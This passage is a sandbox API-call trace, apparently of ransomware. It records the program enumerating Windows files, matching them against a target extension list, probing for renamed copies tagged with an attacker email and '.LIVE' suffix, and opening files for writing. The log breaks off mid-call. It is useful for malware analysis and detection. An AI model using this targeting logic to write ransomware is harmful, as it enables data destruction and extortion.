lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.954] lstrlenW (lpString=".doc") returned 4 [0062.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString=".docx") returned 5 [0062.954] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0062.954] lstrlenW (lpString=".pdf") returned 4 [0062.954] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString=".xls") returned 4 [0062.954] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString=".xlsx") returned 5 [0062.954] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0062.954] lstrlenW (lpString=".ppt") returned 4 [0062.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.954] lstrlenW (lpString=".zip") returned 4 [0062.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString=".rar") returned 4 [0062.954] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.954] lstrlenW (lpString=".bz2") returned 4 [0062.954] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.954] lstrlenW (lpString=".7z") returned 3 [0062.954] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.955] lstrlenW (lpString=".dbf") returned 4 [0062.955] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.955] lstrlenW (lpString=".1cd") returned 4 [0062.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0062.955] lstrlenW (lpString=".jpg") returned 4 [0062.955] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.955] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.955] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0062.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.285] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2560) returned 1 [0063.285] CloseHandle (hObject=0x200) returned 1 [0063.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0063.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.285] lstrlenW (lpString=".doc") returned 4 [0063.285] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.285] lstrlenW (lpString=".docx") returned 5 [0063.285] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0063.285] lstrlenW (lpString=".pdf") returned 4 [0063.285] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.285] lstrlenW (lpString=".xls") returned 4 [0063.285] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.285] lstrlenW (lpString=".xlsx") returned 5 [0063.285] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0063.285] lstrlenW (lpString=".ppt") returned 4 [0063.285] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString=".zip") returned 4 [0063.286] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.286] lstrlenW (lpString=".rar") returned 4 [0063.286] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.286] lstrlenW (lpString=".bz2") returned 4 [0063.286] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.286] lstrlenW (lpString=".7z") returned 3 [0063.286] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString=".dbf") returned 4 [0063.286] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString=".1cd") returned 4 [0063.286] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString=".jpg") returned 4 [0063.286] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString=".doc") returned 4 [0063.286] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.286] lstrlenW (lpString=".docx") returned 5 [0063.286] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0063.286] lstrlenW (lpString=".pdf") returned 4 [0063.286] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.286] lstrlenW (lpString=".xls") returned 4 [0063.286] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.286] lstrlenW (lpString=".xlsx") returned 5 [0063.286] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0063.286] lstrlenW (lpString=".ppt") returned 4 [0063.286] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.286] lstrlenW (lpString=".zip") returned 4 [0063.287] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.287] lstrlenW (lpString=".rar") returned 4 [0063.287] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.287] lstrlenW (lpString=".bz2") returned 4 [0063.287] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.287] lstrlenW (lpString=".7z") returned 3 [0063.287] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.287] lstrlenW (lpString=".dbf") returned 4 [0063.287] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.287] lstrlenW (lpString=".1cd") returned 4 [0063.287] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0063.287] lstrlenW (lpString=".jpg") returned 4 [0063.287] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.287] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0063.287] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0063.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.287] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=32768) returned 1 [0063.287] CloseHandle (hObject=0x200) returned 1 [0063.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0063.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.288] lstrlenW (lpString=".doc") returned 4 [0063.288] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.288] lstrlenW (lpString=".docx") returned 5 [0063.288] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.288] lstrlenW (lpString=".pdf") returned 4 [0063.288] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.288] lstrlenW (lpString=".xls") returned 4 [0063.288] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.288] lstrlenW (lpString=".xlsx") returned 5 [0063.288] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.288] lstrlenW (lpString=".ppt") returned 4 [0063.288] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.288] lstrlenW (lpString=".zip") returned 4 [0063.288] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.288] lstrlenW (lpString=".rar") returned 4 [0063.288] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.288] lstrlenW (lpString=".bz2") returned 4 [0063.288] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.288] lstrlenW (lpString=".7z") returned 3 [0063.288] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.288] lstrlenW (lpString=".dbf") returned 4 [0063.289] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString=".1cd") returned 4 [0063.289] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString=".jpg") returned 4 [0063.289] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString=".doc") returned 4 [0063.289] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.289] lstrlenW (lpString=".docx") returned 5 [0063.289] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.289] lstrlenW (lpString=".pdf") returned 4 [0063.289] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.289] lstrlenW (lpString=".xls") returned 4 [0063.289] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.289] lstrlenW (lpString=".xlsx") returned 5 [0063.289] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.289] lstrlenW (lpString=".ppt") returned 4 [0063.289] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString=".zip") returned 4 [0063.289] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.289] lstrlenW (lpString=".rar") returned 4 [0063.289] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.289] lstrlenW (lpString=".bz2") returned 4 [0063.289] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.289] lstrlenW (lpString=".7z") returned 3 [0063.289] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString=".dbf") returned 4 [0063.289] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.289] lstrlenW (lpString=".1cd") returned 4 [0063.290] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0063.290] lstrlenW (lpString=".jpg") returned 4 [0063.290] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.290] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0063.290] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0063.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.290] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3584) returned 1 [0063.290] CloseHandle (hObject=0x200) returned 1 [0063.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0063.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.291] lstrlenW (lpString=".doc") returned 4 [0063.291] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.291] lstrlenW (lpString=".docx") returned 5 [0063.291] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.291] lstrlenW (lpString=".pdf") returned 4 [0063.291] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.291] lstrlenW (lpString=".xls") returned 4 [0063.291] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.291] lstrlenW (lpString=".xlsx") returned 5 [0063.291] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.291] lstrlenW (lpString=".ppt") returned 4 [0063.291] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.291] lstrlenW (lpString=".zip") returned 4 [0063.291] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.291] lstrlenW (lpString=".rar") returned 4 [0063.291] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.291] lstrlenW (lpString=".bz2") returned 4 [0063.291] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.291] lstrlenW (lpString=".7z") returned 3 [0063.291] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.291] lstrlenW (lpString=".dbf") returned 4 [0063.291] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.291] lstrlenW (lpString=".1cd") returned 4 [0063.291] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.291] lstrlenW (lpString=".jpg") returned 4 [0063.291] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.292] lstrlenW (lpString=".doc") returned 4 [0063.292] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.292] lstrlenW (lpString=".docx") returned 5 [0063.295] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.295] lstrlenW (lpString=".pdf") returned 4 [0063.295] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.295] lstrlenW (lpString=".xls") returned 4 [0063.295] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.295] lstrlenW (lpString=".xlsx") returned 5 [0063.295] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.295] lstrlenW (lpString=".ppt") returned 4 [0063.295] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.295] lstrlenW (lpString=".zip") returned 4 [0063.295] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.295] lstrlenW (lpString=".rar") returned 4 [0063.295] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.295] lstrlenW (lpString=".bz2") returned 4 [0063.295] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.296] lstrlenW (lpString=".7z") returned 3 [0063.296] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.296] lstrlenW (lpString=".dbf") returned 4 [0063.296] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.296] lstrlenW (lpString=".1cd") returned 4 [0063.296] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0063.296] lstrlenW (lpString=".jpg") returned 4 [0063.296] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.296] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0063.296] lstrlenW (lpString="TipTsf.dll.mui") returned 14 [0063.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.296] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3072) returned 1 [0063.296] CloseHandle (hObject=0x200) returned 1 [0063.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0063.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0063.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.297] lstrlenW (lpString=".doc") returned 4 [0063.297] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.297] lstrlenW (lpString=".docx") returned 5 [0063.297] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.297] lstrlenW (lpString=".pdf") returned 4 [0063.297] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.297] lstrlenW (lpString=".xls") returned 4 [0063.297] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.297] lstrlenW (lpString=".xlsx") returned 5 [0063.297] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.297] lstrlenW (lpString=".ppt") returned 4 [0063.297] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.297] lstrlenW (lpString=".zip") returned 4 [0063.297] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.297] lstrlenW (lpString=".rar") returned 4 [0063.297] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.297] lstrlenW (lpString=".bz2") returned 4 [0063.297] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.297] lstrlenW (lpString=".7z") returned 3 [0063.297] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.297] lstrlenW (lpString=".dbf") returned 4 [0063.297] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.297] lstrlenW (lpString=".1cd") returned 4 [0063.297] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString=".jpg") returned 4 [0063.298] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString=".doc") returned 4 [0063.298] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0063.298] lstrlenW (lpString=".docx") returned 5 [0063.298] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0063.298] lstrlenW (lpString=".pdf") returned 4 [0063.298] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0063.298] lstrlenW (lpString=".xls") returned 4 [0063.298] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0063.298] lstrlenW (lpString=".xlsx") returned 5 [0063.298] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0063.298] lstrlenW (lpString=".ppt") returned 4 [0063.298] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0063.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString=".zip") returned 4 [0063.298] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0063.298] lstrlenW (lpString=".rar") returned 4 [0063.298] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0063.298] lstrlenW (lpString=".bz2") returned 4 [0063.298] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0063.298] lstrlenW (lpString=".7z") returned 3 [0063.298] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0063.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString=".dbf") returned 4 [0063.298] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0063.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString=".1cd") returned 4 [0063.298] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0063.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0063.298] lstrlenW (lpString=".jpg") returned 4 [0063.298] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0063.299] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0063.299] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0063.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 